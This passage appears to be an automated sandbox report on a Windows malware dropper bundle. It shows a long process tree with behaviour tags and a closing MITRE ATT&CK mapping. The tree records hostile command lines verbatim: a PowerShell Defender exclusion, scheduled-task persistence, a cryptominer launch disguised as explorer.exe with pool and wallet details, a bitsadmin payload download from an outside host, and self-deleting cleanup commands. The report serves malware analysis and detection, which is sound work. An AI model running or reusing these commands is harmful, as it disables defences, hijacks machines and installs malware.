        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
      4⤵
      Loads dropped DLL
      PID:840
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun1917b8fb5f09db8.exe
        
        Sun1917b8fb5f09db8.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:1144
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1144 -s 476
        6⤵
        Program crash
        
        PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
      4⤵
      Loads dropped DLL
      PID:1664
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun19262b9e49ad.exe
        
        Sun19262b9e49ad.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2028
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:2548
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
      4⤵
      Loads dropped DLL
      PID:1524
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun193fda712d9f1.exe
        
        Sun193fda712d9f1.exe
        5⤵
        Executes dropped EXE
        
        PID:1216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
      4⤵
      Loads dropped DLL
      PID:1844
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun19e4ade31b2a.exe
        
        Sun19e4ade31b2a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
      4⤵
      Loads dropped DLL
      PID:440
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun1908b94df837b3158.exe
        
        Sun1908b94df837b3158.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1888
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun19de8ff4b6aefeb8.exe
        
        Sun19de8ff4b6aefeb8.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:320
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\11284585938.exe"
        6⤵
        Loads dropped DLL
        
        PID:2344
        
        C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\11284585938.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\11284585938.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2540
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\59973395770.exe" /mix
        6⤵
        
        PID:2804
        
        C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\59973395770.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\59973395770.exe" /mix
        7⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:2944
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\MILxiBfOUrTtD & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\59973395770.exe"
        8⤵
        
        PID:2452
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 4
        9⤵
        Delays execution with timeout.exe
        
        PID:2128
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\28236677111.exe" /mix
        6⤵
        
        PID:2992
        
        C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\28236677111.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{47BJ-TbCFr-8v5z-BBRvp}\28236677111.exe" /mix
        7⤵
        
        PID:2316
        
        C:\Users\Admin\AppData\Roaming\sliders\apinesp.exe
        
        apinesp.exe
        8⤵
        Executes dropped EXE
        
        PID:3024
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        6⤵
        
        PID:2216
        
        C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe
        
        "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        7⤵
        
        PID:2752
        
        C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe
        
        "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        8⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:1648
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun19de8ff4b6aefeb8.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun19de8ff4b6aefeb8.exe" & exit
        6⤵
        
        PID:2464
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sun19de8ff4b6aefeb8.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2788
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
      4⤵
      Loads dropped DLL
      PID:1984
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun191101c1aaa.exe
        
        Sun191101c1aaa.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1972
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1152
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1632
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:1372
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2288
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        
        PID:2092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:3100
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:3184
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:3132
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:3976
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:560
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:1768
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1768 -s 1436
        8⤵
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2920
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1708
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\32021373154.exe"
        8⤵
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\32021373154.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\32021373154.exe"
        9⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2348
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\15530727198.exe" /mix
        8⤵
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\15530727198.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\15530727198.exe" /mix
        9⤵
        Executes dropped EXE
        
        PID:1512
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\QgTIXrbEs & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\15530727198.exe"
        10⤵
        Blocklisted process makes network request
        Executes dropped EXE
        
        PID:2564
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 4
        11⤵
        Delays execution with timeout.exe
        
        PID:2120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\97583948614.exe" /mix
        8⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\97583948614.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{yt0y-gxfRX-LzLu-0Y1oA}\97583948614.exe" /mix
        9⤵
        
        PID:1648
        
        C:\Users\Admin\AppData\Roaming\sliders\apinesp.exe
        
        apinesp.exe
        10⤵
        Executes dropped EXE
        
        PID:3016
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2892
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        
        PID:2028
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2160
        
        C:\Users\Admin\AppData\Local\Temp\5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5.exe"
        7⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2192
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
        7⤵
        Executes dropped EXE
        
        PID:2308
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2308 -s 796
        8⤵
        Program crash
        
        PID:2948
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2424
        
        C:\Users\Admin\AppData\Local\Temp\is-JGJLM.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JGJLM.tmp\setup_2.tmp" /SL5="$10186,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:2588
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\is-94MS0.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-94MS0.tmp\setup_2.tmp" /SL5="$401E6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2472
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        
        PID:2564
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
      4⤵
      Loads dropped DLL
      PID:608
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun19eb40faaaa9.exe
        
        Sun19eb40faaaa9.exe
        5⤵
        Executes dropped EXE
        
        PID:756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
      4⤵
      Loads dropped DLL
      PID:1160
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun198361825f4.exe
        
        Sun198361825f4.exe
        5⤵
        Executes dropped EXE
        
        PID:528
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 528 -s 728
        6⤵
        Program crash
        
        PID:2420
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
      4⤵
      Loads dropped DLL
      PID:1164
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun1905815e51282417.exe
        
        Sun1905815e51282417.exe
        5⤵
        Executes dropped EXE
        
        PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
      4⤵
      Loads dropped DLL
      PID:988
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun195a1614ec24e6a.exe
        
        Sun195a1614ec24e6a.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
      4⤵
      Loads dropped DLL
      PID:1628
    - - C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun1966fb31dd5a07.exe
        
        Sun1966fb31dd5a07.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:920
      - C:\Users\Admin\AppData\Local\Temp\is-FKJ1M.tmp\Sun1966fb31dd5a07.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FKJ1M.tmp\Sun1966fb31dd5a07.tmp" /SL5="$202B0,247014,163328,C:\Users\Admin\AppData\Local\Temp\7zS4E5DF323\Sun1966fb31dd5a07.exe"
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:2316
        
        C:\Users\Admin\AppData\Local\Temp\is-UGLM8.tmp\Ze2ro.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-UGLM8.tmp\Ze2ro.exe" /S /UID=burnerch2
        7⤵
        
        PID:2028
        
        C:\Program Files\Google\MWLWIXPRGC\ultramediaburner.exe
        
        "C:\Program Files\Google\MWLWIXPRGC\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:3796
        
        C:\Users\Admin\AppData\Local\Temp\is-QBC73.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QBC73.tmp\ultramediaburner.tmp" /SL5="$30182,281924,62464,C:\Program Files\Google\MWLWIXPRGC\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:3868
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:3988
        
        C:\Users\Admin\AppData\Local\Temp\b7-4ca7c-30a-96d9e-f8c09de31c9c6\Maesujikaci.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b7-4ca7c-30a-96d9e-f8c09de31c9c6\Maesujikaci.exe"
        8⤵
        
        PID:3880
        
        C:\Users\Admin\AppData\Local\Temp\27-54065-ead-897a0-7d267a29be652\Lawytisulu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\27-54065-ead-897a0-7d267a29be652\Lawytisulu.exe"
        8⤵
        
        PID:3908
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f54fhcro.xrp\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\f54fhcro.xrp\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\f54fhcro.xrp\GcleanerEU.exe /eufive
        10⤵
        
        PID:3508
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\f54fhcro.xrp\GcleanerEU.exe" & exit
        11⤵
        
        PID:1784
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:3940
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iafsi31f.k5a\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:864
        
        C:\Users\Admin\AppData\Local\Temp\iafsi31f.k5a\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\iafsi31f.k5a\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:3716
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\iafsi31f.k5a\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\iafsi31f.k5a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632307063 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:2628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5m00s0gm.wfj\anyname.exe & exit
        9⤵
        
        PID:3776
        
        C:\Users\Admin\AppData\Local\Temp\5m00s0gm.wfj\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\5m00s0gm.wfj\anyname.exe
        10⤵
        
        PID:2780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f2pyxiqm.ahl\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:1124
        
        C:\Users\Admin\AppData\Local\Temp\f2pyxiqm.ahl\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\f2pyxiqm.ahl\gcleaner.exe /mixfive
        10⤵
        
        PID:828
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\f2pyxiqm.ahl\gcleaner.exe" & exit
        11⤵
        
        PID:2520
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:2876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\opo403yq.4tr\autosubplayer.exe /S & exit
        9⤵
        
        PID:3192
        
        C:\Users\Admin\AppData\Local\Temp\opo403yq.4tr\autosubplayer.exe
        
        C:\Users\Admin\AppData\Local\Temp\opo403yq.4tr\autosubplayer.exe /S
        10⤵
        
        PID:812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:3952
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:836
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:1312
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:3900
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:3824
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:2556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nso94C2.tmp\tempfile.ps1"
        11⤵
        
        PID:2952
        
        C:\Windows\SysWOW64\bitsadmin.exe
        
        "bitsadmin" /Transfer helper http://lighteningstoragecenter.com/data/data.7z C:\zip.7z
        11⤵
        Download via BitsAdmin
        
        PID:816

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
1⤵
- Executes dropped EXE
PID:2336

C:\Users\Admin\AppData\Local\Temp\BE2.exe
C:\Users\Admin\AppData\Local\Temp\BE2.exe
1⤵
- Executes dropped EXE
PID:2168

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1376
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:1976

C:\Users\Admin\AppData\Local\Temp\7252.exe
C:\Users\Admin\AppData\Local\Temp\7252.exe
1⤵
- Executes dropped EXE
PID:2604

C:\Users\Admin\AppData\Local\Temp\28F5.exe
C:\Users\Admin\AppData\Local\Temp\28F5.exe
1⤵
PID:3280

C:\Users\Admin\AppData\Local\Temp\AE5A.exe
C:\Users\Admin\AppData\Local\Temp\AE5A.exe
1⤵
PID:3860
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3860 -s 1044
  2⤵
  - Program crash
  PID:3708

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2300
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3584

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1412
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9F818615B20E2E1C51F8D471276E38B0 C
  2⤵
  PID:2964
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 00A399C152291B46E9D7A8C043BB1073
  2⤵
  PID:2232
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:996
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DDCE27C9F286C291DCB7536EF85488B2 M Global\MSI0000
  2⤵
  PID:1484

C:\Windows\system32\taskeng.exe
taskeng.exe {EBCB9081-CBA9-472F-A1C0-05AB640BB059} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:3364
- C:\Users\Admin\AppData\Roaming\dajradj
  C:\Users\Admin\AppData\Roaming\dajradj
  2⤵
  PID:2156
- C:\Program Files\Mozilla Firefox\default-browser-agent.exe
  "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
  2⤵
  PID:972

C:\Windows\system32\taskeng.exe
taskeng.exe {BECD148E-9714-4F74-A248-6D5C410C0074} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:952
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 114 -t 8080
  2⤵
  PID:2608
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 115 -t 8080
  2⤵
  PID:3672
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 113 -t 8080
  2⤵
  PID:672
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 112 -t 8080
  2⤵
  PID:1748
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 111 -t 8080
  2⤵
  PID:3228
- C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe
  "C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe" -v 110 -t 8080
  2⤵
  PID:2264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

BITS Jobs

T1197

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

BITS Jobs

T1197

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

